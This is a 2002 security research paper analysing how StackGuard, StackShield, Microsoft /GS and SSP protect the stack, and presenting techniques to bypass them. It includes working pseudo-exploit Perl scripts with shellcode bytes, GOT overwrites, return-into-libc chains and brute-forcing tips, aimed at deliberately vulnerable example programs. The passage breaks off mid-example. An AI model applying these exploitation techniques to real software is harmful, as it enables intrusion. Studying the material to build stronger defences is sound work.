Four different tricks to bypass StackShield and StackGuard protection

Gerardo Richarte
Core Security Technologies
gera@corest.com

April 9, 2002 - June 3, 2002

Abstract

Stack shielding technologies have been developed to protect programs against exploitation of *stack based buffer overflows*. Among different types of protections, we can separate two major groups. Those that modify the environment where applications are executed, for example PaX now integrated into the OpenWall project[4], and those that alter the way programs are compiled. We will focus on the last group, specially in StackGuard, StackShield, and Microsoft's new stack smashing protection.

Techniques that exploit *stack based buffer overflows* on protected programs and environment have been presented in the past in [3], [2] and [16]. Here we'll describe how the studied protections work, and then we'll present four more tricks to bypass stack smashing protections, some of which are extentions of older techniques, and some we think are novel.

Contents

1 Introduction

> StackGuard is a compiler that emits programs hardened against "stack smashing" attacks. Stack smashing attacks are the most common form of penetration attack. Programs that have been compiled with StackGuard are largely immune to stack smashing attack. Protection requires no source code changes at all.[8]

This statement has been put in doubt in the past in [13], [2] and [16] with respect to StackGuard, however, the same attacks can be used against StachShielded programs and programs compiled with Microsoft's `/GS` protection.

Stack shielding protections have been missunderstood, in their original form they only protect against *return address* overwrites, not generic *stack smashing* attacks. The three protections studied in this paper have two different design

limitations: Only protecting data located higher in memory than the first safeguarded address. And, what we think is worse, checking for attacks only after the function finishes, and right before returning from it. In addition to this, StackGuard and StackShield have an implementation or technical flaw: They protect the stack starting at the *return address*, leaving the *saved frame pointer* unprotected.

We'll describe four different attacks, one is an extention of that described in [2] and [16] and a direct consecuence of design limitations. The other three result from the technical problem and may be corrected introducing some changes in the protection mechanisms.

Of course, the techniques described here can also be used on non-protected programs, where in some cases, will increase exploit's reliability.

2 Code for protection

In our trip we'll be using StackGuard v2.0.1 as included in latest Immunix 7.0, StackShield v0.7-beta and Microsoft's C/C++ compiler from Visual Studio .NET. These three protections add code on entry and exit from functions, prologue and epilogue, however they do different things. For every example we'll focus on Intel based systems. We think some of the attacks presented can be used on different architectures, however, we are not sure and haven't explored the posibilities.

Lets see how the compiler translates the following C program, with no protection and when using the three different tools on their different modes.

```
char *func(char *msg) {
    int var1;
    char buf[80];
    int var2;

    strcpy(buf,msg);
    return msg;
}

int main(int argv, char **argc) {
    char *p;
    p = func(argc[1]);
    exit(0);
}
```

2.1 Standard code

As shown below, on entry to a function, a standard prologue saves the frame pointer and saves some space in the stack for local variables, then on exit the epilogue restores the saved frame and stack pointers.

```
function_prologue:
    pushl  %ebp             // saves the frame pointer to stack
    mov    %esp,%ebp        // saves a copy of current %esp
    subl   $108, %esp       // space for local variables

    (function body)

function_epilogue:
    leave                   // copies %ebp into %esp,
                            // and restores %ebp from stack
    ret                     // jump to address on stack's top
```

After prologue is finished, while `func()`'s body is executed, the stack is arranged as follows[1].

↑ lower addresses

`func()`	`var2`	4 bytes
`func()`	`buf`	80 bytes
`func()`	`var1`	4 bytes
`func()`	saved %ebp	4 bytes
`func()`	return address	4 bytes
`main()/func()`	`func()'s` arguments	4 bytes
`main()`	`p`	4 bytes
`main()`	saved %ebp	4 bytes
`main()`	return address	4 bytes
start`()/main()`	`main()'s` arguments	12 bytes

↓ higher addresses

If `buf` is overflown, the extra bytes can change anything after it: `var1`, the saved `%ebp` (*frame pointer*), the *saved return address*, `func()`'s arguments, etc. This may give an attacker the ability to perform many different types of attacks, namely a standard *stack based buffer overflow*[12] where the *return address* is changed and execution flow is hooked on first return (`func()`'s `ret`), a more sofisticated *frame pointer overwrite* attack[11], where the *frame pointer* is changed and later, in a second return, the execution flow is hooked (not possible in our example because `main()` uses `exit()`), or a high context-dependent attack where only other *local variables* or *function arguments* located higher in memory than `buf` are overwriten to change program's internal state. Changing `main()`'s *return address* is another possibility that can be used, for example, if we want the program do something before the execution flow is hooked.

2.2 StackGuard protection

StackGuard is implemented as a modification for gcc, the new code adds some assembler directives to the output file. Its prologue is different, the first thing

[1] You may find little differences, mostly related to alignment bytes or other extra bytes introduced by the compiler.

it does is pushing a *canary* into the stack (for StackGuard v2.0.1 it's a constant `0x000aff0d`, latter we'll see why), then it continues with standard prologue.

On the epilogue, StackGuard checks the stack to see if the canary is still there unchanged, if so, it keeps going with normal execution flow, if not it aborts the program with an error message (which in fact helps to align the exploiting string when coding a local exploit, as in prints the value of the canary).

```
function_prologue:
    pushl  $0x000aff0d     // push canary into the stack
    pushl  %ebp            // save frame pointer
    mov    %esp,%ebp       // saves a copy of current %esp
    subl   $108, %esp      // space for local variables

    (function body)

function_epilogue:
    leave                          // standard epilogue
    cmpl   $0x000aff0d,(%esp)      // check canary
    jne    canary_changed
    addl   $4,%esp                 // remove canary from stack
    ret

canary_changed:
    ...                            // abort the program with error
    call   __canary_death_handler
    jmp    .                       // just in case I guess
```

While the code in StackGuarded `func()` is being executed, the stack layout is as shown.

↑ lower addresses

func()	var2	4 bytes
func()	buf	80 bytes
func()	var1	4 bytes
func()	saved %ebp	4 bytes
func()	**canary (0x000aff0d)**	4 bytes
func()	return address	4 bytes
main()/func()	func()'s arguments	4 bytes
main()	p	4 bytes
main()	saved %ebp	4 bytes
main()	**canary (0x000aff0d)**	4 bytes
main()	return address	4 bytes
start()/main()	main()'s arguments	4 bytes

↓ higher addresses

A standard *stack based buffer overflow* attack would change the *return address*, and on the way to it, it will overwrite the *canary*, so, unless we write

the right value in the *canary* the check in the epilogue will fail and abort the program.

If we try to write `0x000aff0d` over the former *canary* (effectively not changing it), the `0x00` will stop `strcpy()` cold, and we won't be able to alter the *return address*. If `gets()` were used instead of `strcpy()` to read into buf, we would be able to write `0x00` but `0x0a` would stop it. This type of *canaries* is called *terminator canaries*, and is the only *canary* type StackGuard 2.0.1 can use. Two other types of canaries are known but not used, the *NULL canary* is a `0x00000000` constant value, and was discarded early in StackGuard developement in spite of the improved *terminator canary*, and finally the *XOR random canary* is a random number, generated in runtime, that is not only stored in the stack, but also XORed to the return address. We'll go back to this more sofisticated *canary* latter[2]in Section 4, but as a first approach we can say that as the *canary* is random, unless we can somehow read and/or guess it, or part of it, there is nothing we can do.

That's how StackGuard's protection works, and is where the three different flaws can be understood: *local variables* located after `buf` (`var1`) are not protected at all, and it's what [13], [2] and [16] exploit[3]. The *saved frame pointer* and *function's arguments* can also be controled. StackGuard's check would only detect the attack after the function finishes, giving the attacker a code window to play with, as we'll discuss in Section 3.1.

When we try to do a *frame pointer overwrite* attack, we may successfully alter the saved *frame pointer* without changing the *canary*. However as described in [11] we need a second return to activate the new "*return address*". We'll analize three different posibilities to abuse this condition in Sections 3.2, 3.3 and 3.4.

2.3 StackShield protection

StackShield is implemented as an assembler preprocessor, it offers three different possibilities on current version (v0.7-beta), its protection code is a bit more complicated, however, it can be easily understood if we know how it works in advance. An implementation difference is that StackShield takes as input assembler files (`.s`) and produces as output assembler files, StackGuard is implemented as a modification to `gcc`, and as a result, takes as input C source files, and produces binary objects.

2.3.1 Return address clonning

For the older and default method, the basic idea is to save *return addresses* in an alternate memory space named `retarray`. This array has space for 256

[2]We know StackGuard 1.21 is able to use *XOR random canaries*, but this version is not included in Immunix 7.0, and we were not able to test it.

[3]As [2] says and we haven't checked, wu-ftpd 2.5 mapped_path bug can be exploited this way. And the only way we found to exploit Solaris 2.5.1 named IQUERY buffer overflow in Sparc, is using this kind of tricks.

cloned return addresses, but you can tune this number according to your program when invoking StackShield. Two other global variables are used for the implementation: `rettop`, initialized on startup and never changed, is the address in memory where `retarray` ends, `retptr` is the address where the next *clone* is to be saved.

On entry to a protected function, the *return address* is copied from the stack to `retarray` and `retptr` is incremented. If there is no more space for *clones*, the *return address* is not saved, but `retptr` is anyway incremented to know how many returns must be done before the last saved *clone* must be used. Depending on command line switches, the *cloned return address* can be checked against the one in the stack to detect possible attacks, or can be silently used instead of it.

```
function_prologue:
    pushl  %eax
    pushl  %edx

    movl   retptr,%eax     // retptr is where the clone is saved
    cmpl   %eax,rettop     // if retptr is higher than allowed
    jbe    .LSHIELDPROLOG  // just don't save the clone
    movl   8(%esp),%edx    // get return address from stack
    movl   %edx,(%eax)     // save it in global space
.LSHIELDPROLOG:
    addl   $4,retptr       // always increment retptr

    popl   %edx
    popl   %eax

standard_prologue:
    pushl  %ebp            // saves the frame pointer to stack
    mov    %esp,%ebp       // saves a copy of current %esp
    subl   $108, %esp      // space for local variables

    (function body)

function_epilogue:
    leave                  // copies %ebp into %esp,
                           // and restores %ebp from stack
    pushl   %eax
    pushl   %edx

    addl    $-4,retptr     // allways decrement retptr
    movl    retptr,%eax
    cmpl    %eax,rettop    // is retptr in the reserved memory?
    jbe     .LSHIELDEPILOG // if not, use return address from stack
    movl    (%eax),%edx
    movl    %edx,8(%esp)   // copy clone to stack
```

```
.LSHIELDEPILOG:

    popl    %edx
    popl    %eax
    ret                     // jump to address on stack's top
```

The resulting effect is that *return addresses* saved in stack are not used. Instead of them, the *cloned return addreses* stored in `retarray` are honored. This effectively stops standard *stack based buffer overflows* attacks, but opens the door to other possibilities. For example, if we manage to alter `retarray`'s contents, execution flow would surrender to us.

2.3.2 Checked clones

When the `-d` command line switch is used, the epilogue is a little different, the *cloned return address* is compared to that present in stack, and if they are different, a `SYS_exit` system call is issued, abruptly terminating the program, the resulting epilogue is:

```
function_epilogue:
    leave                   // copies %ebp into %esp,
                            // and restores %ebp from stack
    pushl   %eax
    pushl   %edx

    addl    $-4,retptr      // allways decrement retptr
    movl    retptr,%eax
    cmpl    %eax,rettop     // is retptr in the reserved memory?
    jbe     .LSHIELDEPILOG // if not, use return address from stack
    movl    (%eax),%edx
    cmpl    %edx,8(%esp)    // compare clone to stack contents
    je      .LSHIELDEPILOG // if they are the same, keep going

    movl    $1,%eax
    movl    $-1,%ebx
    int     $0x80           // Abort program execution (SYS_exit)

.LSHIELDEPILOG:

    popl    %edx
    popl    %eax
    ret                     // jump to address on stack's top
```

This option is a little better in terms of security than just blindly going on, as a change in the *return address* will abort program's execution. However, if for some reason we need the program to keep going after we overwrote the *return address* we just need to overwrite it with its original value. We'll see this again in Sections 3.1, 3.3 and 3.4.

2.3.3 Return range checking

The command line options `-r` and `-g` enable *Ret Range Checking*, which would detect and stop atempts to return into addresses higher than that of the variable `shielddatabase`, assumed to mark the base for program's data, where we may say for simplicity, heap and stack are located. At the begining of the output file a new variable is defined, although only its address will be used, not its contents:

```
.comm shielddatabase,4,4
```

then every function epilogue is chaned for:

```
function_epilogue:
    leave                   // copies %ebp into %esp,
                            // and restores %ebp from stack

    cmpl    $shielddatabase,(%esp)
    jbe     .LSHIELDRETRANGE   // trying to return to a high address?

    movl    $1,%eax
    movl    $-1,%ebx
    int     $0x80           // Abort program execution (SYS_exit)
.LSHIELDRETRANGE:

    ret                     // jump to address on stack's top
```

The difference between `-r` and `-g` is that the former enables both protection methods (*address cloning* and *ret range checking*), while the later only enables *ret range checking*.

As StackShield does not use any *canaries*, the stack layout for functions protected with StackShield is the same as for those not protected, as shown in Section 2.1.

2.3.4 Function call target checking

One more protection is available and enabled by default. It adds a check to see if *indirect function calls* (made through a *function pointer*) are targeted to an address below `shielddatabase` or not. We think this is not a bad idea, but its main problem is that *function pointers* usually abused when coding exploits are part of `libc` (`atexit's`, `malloc_hook`, `free_hook`, `.dtors`, etc.) or part of the dynamic linking mechanism (`GOT`), and are not protected when using StackShield unless you recompile everything. And even if you do so, we think it won't work, as almost all default values for function pointers (in `GOT` for example) are higher than `shielddatabase`.

We won't get deep on attacks specific to StackShield's *function pointer* protection... anyway, here is how a simple *indirect function call* originally compiled as `call *%eax` is translated by StackShield:

```
    cmpl    $shielddatabase,%eax
    jbe     .LSHIELDCALL   // Is the function located too high?

    movl    $1,%eax
    movl    $-1,%ebx
    int     $0x80          // Abort program execution (SYS_exit)
.LSHIELDCALL:
    call    *%eax          // If everything's ok do the call
```

Even with this protection turned on and everything recompiled, some other techniques as *return into libc*[3] (or jumping into libc) or, as we control the stack, just returning or jumping to a `ret` (*ret2ret technique*), may be used to bypass both *range checking protections*.

2.4 Microsoft's /GS protection

Microsoft's protection has a big difference: it does protect the *frame pointer*, placing a *random canary*[4]between it and *local variables*. And as StackGuard, it's embeded in the C/C++ compiler.

```
standard_prologue:
    pushl  %ebp            // save frame pointer
    mov    %esp, %ebp      // saves a copy of current %esp
    subl   $10c, %esp      // space for local variables and canary
    push   %edx
    push   %esi
    push   %edi            // save some registers
protection_prologue:
    mov    $canary, %eax   // get global canary
    xor    4(%ebp), %eax   // XOR return address to canary
    mov    %eax, -4(%ebp)  // store resulting value
                           // in the first local variable

    (function body)

protection_epilogue:
    mov    -4(%ebp), %ecx  // get the saved XORed canary
    xor    4(%ebp), %ecx   // XOR the saved return address
    call   check_canary
function_epilogue:
    pop    %edi            // restore saved registers
    pop    %esi
    pop    %ebx
    mov    %ebp, %esp      // copy %ebp into %esp,
    pop    %ebp            // and restores %ebp from stack
```

[4]They call it *security cookie*.

```
    ret                     // jump to address on stack's top
```

The function `check_canary()` only compares `%ecx` with the global `canary`, if a change is detected, the error is reported with a modal dialog by default:

```
check_canary:
    cmp    $canary, %ecx
    jnz    canary_changed
    ret
```

When using this protection, if a *buffer overflow* is used to change the *frame pointer* or the *return address*, the *random canary* would be inevitably altered.

↑ lower addresses

`func()`	`var2`	`4 bytes`
`func()`	`buf`	`80 bytes`
`func()`	`var1`	`4 bytes`
`func()`	**random canary**	`4 bytes`
`func()`	`saved %ebp`	`4 bytes`
`func()`	`return address`	`4 bytes`
`main()/func()`	`func()'s arguments`	`4 bytes`
`main()`	`p`	`4 bytes`
`main()`	**random canary**	`4 bytes`
`main()`	`saved %ebp`	`4 bytes`
`main()`	`return address`	`4 bytes`
start`()/main()`	`main()'s arguments`	`4 bytes`

↓ higher addresses

If *canaries*' randomness is good, this will effectively stop the attacks decribed in Sections 3.2, 3.3 and 3.4. We'll talk about this in Section 4. On the other hand, if *canaries* can be predicted, not only all the attacks described here can be done, but also a standard *return address overwrite* attack can be used.

2.5 SSP (former Propolice)

As described in [7], SSP is implemented modifying the syntax tree or intermediate language code for the protected program and it doesn't emit assembler code directly. Although this gives SSP more portability and posibilities, it also imposses some limitations on how directly it can control the emited code. Most of the protection code is implemented in a file named `protector.c`, the entry point for the protection code is the function `prepare_stack_protection()`, which is called once for every function to be compiled.

By design SSP aims to protect the *saved frame pointer*, *local variables* and *function's arguments*, as well as the *return address*, and to do so it uses three different protection mechanisms which are independently activated or deactivated.

To analyze SSP's protection mechanisms we'll use a slightly modified version of the exmaple program:

```
typedef struct {char str[32];} string_t;

char *func(char *arg1,string_t arg2) {
    int var1=1;
    char buf2[80];
    int var3=3;
    char buf4[80];
    int var5=5;

    strcpy(buf2,msg);
    strcpy(buf4,msg);
    strcpy(str.str,msg);
    return msg;
}

int main(int argv, char **argc) {
    char *p;
    string_t s;
    p = func(argc[1],s);
}
```

2.5.1 Random Canary

On program startup, the function `__guard_setup()` from `libgcc2.c` fills the global variable `__guard` with 32 bytes of random from `/dev/urandom` if possible, if not, it only initializes the first 4 bytes to be `"\x00\x00\n\xff"`, defaulting to a terminator canary similar to StackGuard's. Latter in the program, only the first 4 bytes are used.

When this protection mechanism is activated, the prologue and epilogue are modified. Remember that this modifications are not introduced on an assembly level, but rather in gcc's syntax trees or intermediate language. The following assembler code is just an example of the differences introduced by SSP when compiling using gcc 3.0.4 on an Intel Linux box.

```
standard_prologue:
    pushl  %ebp            // save frame pointer
    mov    %esp,%ebp       // saves a copy of current %esp
    subl   $272,%esp       // space for local variables and canary
protection_prologue:
    movl   __guard, %eax   // read global canary
    movl   %eax, -24(%ebp) // save copy of canary in stack
    ...

    (function body)
```

```
protection_epilogue:
    movl   -24(%ebp), %edx
    cmpl   __guard, %edx   // is canary in stack changed?
    je     standard_epilogue

    movl   -24(%ebp), %eax
    pushl  %eax            // push altered canary value
    pushl  $function_name  // push function name
    call   __stack_smash_handler
    addl   $8, %esp
standard_epilogue:
    movl   %ebp, %esp      // standard epilogue
    popl   %ebp
    ret
```

When the canary is modified, the function `__stack_smash_handler()` from `libgcc2.c` will print a message to `stderr` and log it to `syslog` using `/dev/log`. After this the program is terminated calling `abort(3)`.

As a result of this protection method the stack for `func()` would be arranged as:

↑ lower addresses

`func()`	`var5`	`4 bytes`
`func()`	`buf4`	`80 bytes`
`func()`	`var3`	`4 bytes`
`func()`	`buf2`	`80 bytes`
`func()`	`var1`	`4 bytes`
`func()`	**random canary**	`24 bytes`
`func()`	`saved %ebp`	`4 bytes`
`func()`	`return address`	`4 bytes`
`main()/func()`	`func()'s arguments (arg1)`	`4 bytes`
`main()/func()`	`func()'s arguments (arg2)`	`32 bytes`
`main()`	`s`	`32 bytes`
`main()`	`p`	`4 bytes`
`main()`	**random canary**	`24 bytes`
`main()`	`saved %ebp`	`4 bytes`
`main()`	`return address`	`4 bytes`
start`()/main()`	`main()'s arguments`	`4 bytes`

↓ higher addresses

Note that more than just 4 bytes are reserved for the *random canary*, but only the first 4 are used. The space allocated for the varies from platform to platform, and is related to `BIGGEST_ALIGNMENT`'s value[5].

[5]The size of the *random canary* in stack is computed as `BIGGSET_ALIGNMENT/BITS_PER_UNIT`

2.5.2 Variables reordering

The function `arrange_var_order()` will rearrange variables, moving buffers (and structs containing buffers) to a position in stack where, if overflown, only other local buffers may be altered.

When the example program is compiled using SSP, and this protection mechanism is used, the stack arrangement for `func()` would be as follows.

↑ lower addresses

`func()`	**var5**	`32 bytes`
`func()`	**var3**	`32 bytes`
`func()`	**var1**	`4 bytes`
`func()`	**buf4**	`80 bytes`
`func()`	**buf2**	`80 bytes`
`func()`	`random canary`	`24 bytes`
`func()`	`saved %ebp`	`4 bytes`
`func()`	`return address`	`4 bytes`
`main()/func()`	`func()'s arguments (arg1)`	`4 bytes`
`main()/func()`	`func()'s arguments (arg2)`	`32 bytes`
`main()`	**p**	`4 bytes`
`main()`	**s**	`32 bytes`
`main()`	`random canary`	`24 bytes`
`main()`	`saved %ebp`	`4 bytes`
`main()`	`return address`	`4 bytes`
start`()/main()`	`main()'s arguments`	`4 bytes`

↓ higher addresses

By placing all non-buffer variables (`var1`, `var3`, `var5` and `p`) in lower addresses and buffers (`buf2`, `buf4` and `s`) in higher addresses, SSP effectively protects all non-buffers from being altered by a local buffer overflow. The saved *frame pointer* or the *return address* cannot be modified by a *stack based buffer overflow* without changing the *random canary*, what would trigger the protection mechanism on function exit, before using the altered addresses.

When a function defines more than a single buffer, all of them will be moved to higher memory addresses, and while non-buffer local variables will be protected, some local buffers may be altered by overflowing other local buffers. In the example `buf2`'s contents could be corrupted by overflowing `buf4`.

2.5.3 Arguments copying

To protect *function's arguments* against *stack based buffer overflows*, SSP copies them to local variables on function entry, and never uses the original arguments directly. This step is done before the variables reordering described in section 2.5.2, hence argument's copies will also be relocated for safety.

---

what makes us suspect there won't be enough space for 4 bytes on some not so common platforms, for example 1750a, dsp16xx, m68hc11, etc.

A possible layout after coying the arguments and reordering variables would be:

↑ lower addresses

`func()`	**copy of arg1**	`10 bytes`
`func()`	`var5`	`32 bytes`
`func()`	`var3`	`32 bytes`
`func()`	`var1`	`4 bytes`
`func()`	`buf4`	`80 bytes`
`func()`	`buf2`	`80 bytes`
`func()`	**copy of arg2**	`32 bytes`
`func()`	`random canary`	`24 bytes`
`func()`	`saved %ebp`	`4 bytes`
`func()`	`return address`	`4 bytes`
main()	`func()'s arguments (arg1)`	`4 bytes`
main()	`func()'s arguments (arg2)`	`32 bytes`
`main()`	`p`	`4 bytes`
`main()`	`s`	`32 bytes`
`main()`	`random canary`	`24 bytes`
`main()`	`saved %ebp`	`4 bytes`
`main()`	`return address`	`4 bytes`
start`()/main()`	`main()'s arguments`	`4 bytes`

↓ higher addresses

In the example, the struct `main::s` is passed by *value*, not by *reference*, and in `func()`'s prologue it's copied to a local variable, which in turn is relocated, together with the other buffers, to higher memory addresses, for protecting against a possible buffer overflow in `arg2.str`.

3 Attacks

3.1 Function's arguments control

Back in December 19, 1997, the day after StackGuard was first presented to the general public, Tim Newsham noticed, in a mail to bugtraq[13], that *local variables* may not be protected, and showed several examples where this condition could be exploited, latter in [2] and [16] a little more generic idea to exploit *stack based buffer overflows* on a protected program is presented. There, a local pointer is used to overwrite arbitrary memory.

In standard compiled C code[6], functions' arguments are located in the stack in higher addresses (we'll say *after*) than the return address, which is after the *saved frame pointer* which is always after *local variables*. When a *stack based buffer overflow* condition is present we may be able to control *function's arguments*, and this may turn a protected program into a vulnerable program.

Let's take a look at the following code[7].

```
/* sg1.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // just to give func() "some" sense
    strcpy(msg,buf);
}

int main(int argv, char** argc) {
        func(argc[1]);
}
```

Here by overwriting further than the *return address*, we control `msg` and with it we can turn this *buffer overflow* into a *write-anything-anywhere primitive*[14]. Of course, we are altering the *canary* and *return address*. Protection methods will detect it, but arguments are used inside functions and the check is made after the function has finished... just too late.

If StackGuard is used, `__canary_death_handler` would be called, and there several library functions are used, so, for example, overwriting `openlog()`'s or `_exit()`'s GOT entry (note the underscore) would let us hook the execution flow. In this case, if we are not sure what's `GOT`'s address, as we can overwrite more than just 4 bytes, we can "fill" all the memory an hope that we hit it, as we do in the next pseudo-exploit (you may need to escape `$` symbols using \).

```
gera@vaiolent:~src/sg/tests$ cc -o sg1 sg1.c
gera@vaiolent:~src/sg/tests$ readelf -S sg1|grep got
  [ 8] .rel.got          REL             08048358 etc...
  [20] .got              PROGBITS        08049888 etc...

gera@vaiolent:~src/sg/tests$ cat >sg1.exp <<_EOF_
#!/usr/bin/perl

$got = "\x88\x98\x04\x08";
$code_addr = "\xe5\x96\x04\x08";
$code = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\xfe";

exec ("./sg1",
        ("$code_addr"x20)."%ebpCnry_RET$got$code");
```

[7] All this analysis is hardly dependent on platform. We'll focus on Intel based machines, however, some of the attacks may still be possible in other architectures.

[7] The code for the examples presented here can be downloaded from [15].

```
_EOF_
gera@vaiolent:~src/sg/tests$ chmod +x sg1.exp
gera@vaiolent:~src/sg/tests$ ./sg1.exp
```

In the example we abuse `strcpy()` to write 20 copies of *shellcode*'s address to `GOT`'s address (`0x08049888` from `readelf`'s output). As we use the same `strcpy()` to move our "*shellcode*" to a known address, we know it will be located exactly 92 bytes ahead of `GOT`. That's what `$code_addr`'s value is. We are using a pretty simple shellcode that will only do an infinite loop, this way it's easy to know when it's being executed.

On the other hand, if StackShield is used, the program may keep going on as if nothing has happened, and we'll need to check if some library functions are called further in the vulnerable program, use another technique, like changing "`atexit` functions", or simply overwrite the *cloned return address* saved in `retarray` if we have some clue of where in memory it's located. If the `-d` command switch is used, StackShield will just issue a `SYS_exit` system call, not calling any other code on user space before ending the process. In this last case, if no library call is made and no function pointer is used after the *write-anything-anywhere* operation, we won't be able to exploit the program, unless we can overwrite the *return address* with its original value (effectively not changing it), thus cheating StackShield's attack detection code. To use the same pseudo-exploit, remove `Cnry` and, if you used `-d`, replace `_RET` with the correct value.

If StackShield is used in the "automatic return address recovery" mode, we can control not only *local variables* and *function arguments* for the current frame, but we can also alter and abuse the control over previous frames, raising the posibilities for successful exploitation.

3.2 Returning with an altered frame pointer

On standard *frame pointer overwrite* exploits([11]), on the first return you gain control over the *frame pointer*, and right before the second return you gain control over the *stack pointer*, hence controling where the function will return.

On StackShielded programs, as *return addresses* are mantained in a global array, even if you control the *stack pointer*, you won't be able to hook the execution flow on the second return[8]. If the program is protected with StackGuard, the thing is a little different.

The default for StackGuard[9] is to use a *terminator canary*, a fixed value of `0x000aff0d`. With common string operations it's not possible to write past this *canary*, but it's possible to write up to the *canary*, without altering it, effectively gaining full control of the *frame pointer*. For the rest of this section we'll focus our analisys on StackGuard using a *terminator canary*.

[8] Of course, if "force exit on attack" (`-d`) switch is used, you'll just make the program exit on the second return, unless, again, you supply the correct *return address*.

[9] StackGuard included in[8] as of February 1, 2002, egcs version 2.91.66-StackGuard, version 2.0.1.

If, by any mean, we can write in heap or stack the following pattern:

0x000aff0d	shellcode address

we can make the *frame pointer* point there and then the *canary* would be correct on the second epilogue, allowing us to return to `shellcode address`. Of course this pattern may be repeated several times to ease bruteforcing of the correct *frame pointer*.

An interesting way to construct this pattern, for local exploits, would be to handcraft the correct command line for the vulnerable program, lets see an example.

```
/* sg2.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
    char buf[80];
    strcpy(buf,msg);
}

int main(int argv, char** argc) {
    func(argc[1]);
}
```

Yes, this is a vulnerable program. The user can control *command line arguments*, and there is a way to construct with them the right pattern. It may be possible to do it using *environment variables*, but we haven't checked:

```
gera@vaiolent:~src/sg/tests$ cc -o sg2 sg2.c
gera@vaiolent:~src/sg/tests$ readelf -a sg2|grep strcpy
080495e8  00000707 R_386_JUMP_SLOT       08048344  strcpy
     7: 08048344    32 FUNC    GLOBAL DEFAULT  etc...
    75: 08048344    32 FUNC    GLOBAL DEFAULT  etc...

gera@vaiolent:~src/sg/tests$ readelf -S sg2|grep [.]data
  [15] .data             PROGBITS        080494e4 etc...

gera@vaiolent:~src/sg/tests$ cat >sg2.exp <<_EOF_
#!/usr/bin/perl

$ebp = "\xb3\xfb\xff\xbf";
$code_addr = "\xcb\xfb\xff\xbf";
$strcpy = "\x44\x83\x04\x08";
$heap_addr = "\xe4\x94\x04\x08";
$code = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\xfe";
$canary = "\x0d\xff\x0a";
```

```
exec ("./sg2",
        ("A"x80)."$ebp$canary",
        "$strcpy$heap_addr$heap_addr$code_addr$code");
_EOF_

gera@vaiolent:~src/sg/tests$ chmod +x sg2.exp
```

The kernel will parse arguments and place them in stack one after another separated with a NUL terminating every one of them, constructing, this way, the right pattern in the stack.

As Immunix 7.0 not only comes with StackGuard but also with a non executable stack, we'll use *return into libc*[3] to move our "*shellcode*" to an address known to be writable and executable, and then we'll jump there, this technique was described earlier in [17][10]. This time some of the values have to be tuned according to the box you are running the pseudo-exploit. First, `$heap_addr` and `$strcpy` must be set to the values obtained using `readelf`[11]. Then, we need to obtain the correct value for `$ebp` by running and debugging the program once, and after this, we need to set `$code_addr` to be `$ebp`$+4 \times 6$ to make it point to our "*shellcode*" located 6 words after `$ebp`:

```
gera@vaiolent:~src/sg/tests$ gdb /usr/bin/perl
(gdb) r sg2.exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001f70 in _start () from /lib/ld-linux.so.2
(gdb) p/x *($sp+8)+80
$1 = 0xbffffbb3
(gdb) p/x *($sp+8)+80+6*4
$2 = 0xbffffbcb
```

Now if you set `$ebp` and `$code_addr` to `gdb`'s outputs `$1` and `$2` respectively, and run `sg2.exp` inside `gdb` again, eveything should go smooth:

```
gera@vaiolent:~src/sg/tests$ gdb /usr/bin/perl
(gdb) r sg2.exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001f70 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.

[Hit ^C now]
Program received signal SIGINT, Interrupt.
0x80494ef in ?? ()
(gdb) x/3i $pc-2
```

[10] Note that message IDs for [17] and [3] are just a permutation of the digits.

[11] The value obtained using `readelf` is not really `strcpy()`'s address, but a call through program's *procedure linkage table* (`.plt`), which is more than enough for us.

```
0x80494ed: nop
0x80494ee: nop
0x80494ef: jmp    0x80494ef
```

As offsets must be acurately set, and `gdb` makes them change, if you run `sg2.exp` directly from the command line, it wont work. To tune it set `$ebp` to any invalid address (for example `$ebp = "BBBB"` and then try this alternate steps:

```
gera@vaiolent:~src/sg/tests$ ulimit -c 100000000
gera@vaiolent:~src/sg/tests$ ./sg2.exp
Segmentation fault (core dumped)
gera@vaiolent:~src/sg/tests$ gdb sg2 core
(gdb) x/88x $sp+0x100
0xbffffac4: 0x00001000 0x00000011 0x00000064 0x00000003
...
0xbffffb84: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb94: 0x42424241 0x0aff0d42 0x04834400 0x0494d408
```

We are looking for the address of `0x42424242 ("BBBB")`, after a lot of `0x41414141 ("AAAA")` and after `$sp`. Here it's `0xbffffb95`, so we change `sg2.exp` again, now we write:

```
$ebp = "\x95\xfb\xff\xbf";
$code_addr = "\xad\xfb\xff\xbf";
```

Well... now we are set, but we have used a lot of fixed offsets, which may look hard to remotely guess. As we do need this values, we'll use some more tricks to ease the bruteforcing. We won't get into details on this, but anyway, here they are:

To remotely learn `strcpy()`'s address, if we have a database with `sleep()`'s addresses for all out-of-the-box versions of `libc`, we can first try to return into `sleep()`, if the server doesn't crash immediately, we can assume we used the right `sleep()`, and we can also assume we know what `libc` is being used on the other side, hence we know `strcpy()`'s address.

To remotely learn the right values for `$ebp` and `$code_addr` we already said we can use the right pattern of *canaries* and *return addresses* many times, so our bruteforcing deltas get bigger.

And finally, there are ways to remotely learn `.text`'s top, even if you only can do a *ret2libc*[14], but I think, this time it's easier to just guess a writable and executable address.

3.3 More control over local variables

Overwriting the least significant byte from the *frame pointer* with a zero will move it, at most, 255 bytes ahead in stack space. Usually this is exploited making the new stack have a new *return address*, as explained in [11], but that

would be detected or ignored. However, what we can do is control the last byte of the **caller's** *frame pointer*, effectively controlling all its *local variables* and *function's arguments*[12].

For StackGuard, as described in section 3.2, if the bug is not an *off by one overflow* but a full *buffer overflow*, and if a *terminator canary* is used, we can have full controll of caller's *frame pointer*, and not just one byte. The same happens with StackShield as it doesn't use a *canary*, and again, if the `-d` option is used, we'll need to restore the original *return address* to avoid program termination.

In standard compiled C code, when not using `-fomit-frame-pointer`[13]all local variables are accessed relative to the *frame pointer*, then, if we have control over it we can control **caller's local** variables and arguments.

Let's see another handcrafted example, this time, one that'll let us understand the new possibilities.

```
/* sg3.c                                                    *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it() {
    char buf[80];

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
